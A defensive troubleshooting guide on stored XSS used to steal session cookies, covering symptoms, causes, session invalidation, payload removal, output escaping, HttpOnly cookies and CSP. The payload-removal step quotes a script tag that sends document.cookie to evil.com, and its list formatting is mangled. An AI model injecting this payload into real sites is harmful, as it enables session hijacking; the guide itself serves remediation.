Introduction

Cross-site scripting (XSS) vulnerabilities allow attackers to inject malicious JavaScript into web pages viewed by other users. When the malicious script executes in the victim's browser, it can steal session cookies, authentication tokens, and sensitive data. The attacker then uses the stolen session cookie to impersonate the victim, gaining full access to their account without needing their password. This is one of the most impactful XSS attack scenarios.

Symptoms

  • User reports unauthorized account access or actions they did not perform
  • Application logs show sessions from unusual IPs or user agents
  • Stored XSS payload found in user-generated content (comments, profiles)
  • document.cookie exfiltration detected in network logs or WAF
  • Multiple users reporting account compromise after visiting a specific page

Common Causes

  • User input rendered as HTML without proper sanitization or escaping
  • Stored XSS payload in database content served to other users
  • DOM-based XSS from JavaScript reading URL parameters and writing to the page
  • Missing HttpOnly flag on session cookies allowing JavaScript access
  • Missing Content-Security-Policy header allowing inline script execution

Step-by-Step Fix

  1. 1.Invalidate all active sessions for affected users:
  2. 2.```bash
  3. 3.# If sessions are stored in Redis
  4. 4.redis-cli KEYS "session:*" | xargs redis-cli DEL

# If sessions are in the database psql -c "DELETE FROM user_sessions WHERE user_id IN (SELECT id FROM users WHERE compromised = true);"

# Force password reset for affected users psql -c "UPDATE users SET password_reset_required = true WHERE compromised = true;" ```

  1. 1.Identify and remove the XSS payload:
  2. 2.```bash
  3. 3.# Search for common XSS patterns in user-generated content
  4. 4.psql -c "SELECT id, content FROM comments WHERE content LIKE '%<script%' OR content LIKE '%javascript:%' OR content LIKE '%onerror=%';"

# Remove the malicious content psql -c "UPDATE comments SET content = replace(content, '<script>document.location=\"http://evil.com/?c=\"+document.cookie</script>', '') WHERE id = 12345;" ```

  1. 1.Fix the XSS vulnerability in the application:
  2. 2.```javascript
  3. 3.// BEFORE (vulnerable - renders user input as HTML):
  4. 4.document.getElementById('comment').innerHTML = userComment;

// AFTER (safe - escapes HTML): function escapeHtml(text) { const div = document.createElement('div'); div.textContent = text; return div.innerHTML; } document.getElementById('comment').innerHTML = escapeHtml(userComment); ```

  1. 1.Set HttpOnly and Secure flags on session cookies:
  2. 2.```nginx
  3. 3.# Nginx
  4. 4.proxy_cookie_path / "/; secure; HttpOnly; SameSite=Strict";

# Or in application code (Express.js example): app.use(session({ cookie: { httpOnly: true, // Prevents JavaScript access secure: true, // HTTPS only sameSite: 'strict' // CSRF protection } })); ```

  1. 1.Implement Content-Security-Policy headers:
  2. 2.```nginx
  3. 3.add_header Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'self'; frame-ancestors 'none';" always;
  4. 4.`
  5. 5.Notify affected users and implement monitoring:
  6. 6.Send breach notification emails to affected users advising them to change passwords and review account activity. Implement session monitoring to detect future hijacking attempts.

Prevention

  • Escape all user-generated content before rendering in HTML contexts
  • Set HttpOnly, Secure, and SameSite flags on all session cookies
  • Implement Content-Security-Policy headers to restrict script sources
  • Use modern frameworks that auto-escape output (React, Vue, Angular)
  • Conduct regular XSS testing with tools like Burp Suite and XSStrike
  • Implement Subresource Integrity (SRI) for all external script includes